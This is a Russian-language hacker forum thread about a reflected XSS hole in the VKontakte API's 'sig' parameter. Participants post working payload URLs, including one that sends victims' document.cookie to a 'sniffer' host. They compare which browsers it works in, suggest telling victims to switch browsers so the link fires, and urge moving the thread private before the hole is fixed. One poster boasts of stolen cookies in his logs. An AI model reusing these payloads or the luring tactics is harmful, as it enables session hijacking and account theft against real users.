Active xss vkontakte.ru

http://api.vkontakte.ru/api.php?v=2.0&sig=%3Cscript%3Ealert(document.cookie)%3C/script%3E&format=JSON&api_id=517649&method=getAppFriends

Добейте

 

Ты уверен, что это активка? =\
И в опере не катит =\

 

Да в Опере не пашет и в Internet Explorer тоже

 

слэш в закрывающем тэге экранируется, а так бы сработало

 

Изя лох это пассивка,

http://api.vkontakte.ru/api.php?v=2.0&sig=<img+src=.+onerror=alert()>&format=JSON&api_id=517649&method=getAppFriends

 

А изя промазнулся, а изя проманхнулся

 

мб перенесете в приват? А то щас же школья набежит тут, а чо, а кто, а зачем это и т д...

 

Ха токо в IE пашет и это пассивка, нафиг она, все щас сидят на мозиле и опере. Так уж при впаривании надо говорить зайди через такой браузер иначе страница не загрузится.

Я две нашел в более легких условиях и где досих пор пашет))

 

Это пассивка и пашет она под все браузеры

 

dj всех браузерах работает

 

перенесите в приват!!!!!

 

поздно переносить, уже прикрыли

 

не-а

 

а толку, слеши фильтруют, никак ссылку ввести не получается)

 

Работает в Firefox:
http://api.vkontakte.ru/api.php?v=2.0&sig=<iframe+src=.+onload=location.href='http://sniffer?'%2Bdocument.cookie>&format=JSON

 

в опере тож

 

я просто забыл что такое хекер и чем отличаются пассивные поцаны и активные

 

Удалите нах тему, или редактируйте свои посты, прикроют же...

 

:-D
:-D :-D
:-D :-D :-D :-D :-D :-D :-D
:-D :-D :-D :-D :-D :-D :-D :-D :-D
:-D :-D
:-D :-D :-D :-D

 

потрите посты) хотя уже поздно =//
______
upd: спасибо за XSS'ку)))) за сегодня уже 4к рейта набрал))))
______
upd2: смотрю логи, а там даже куки чака)))
еще попался чел из АК47 белобрысый)))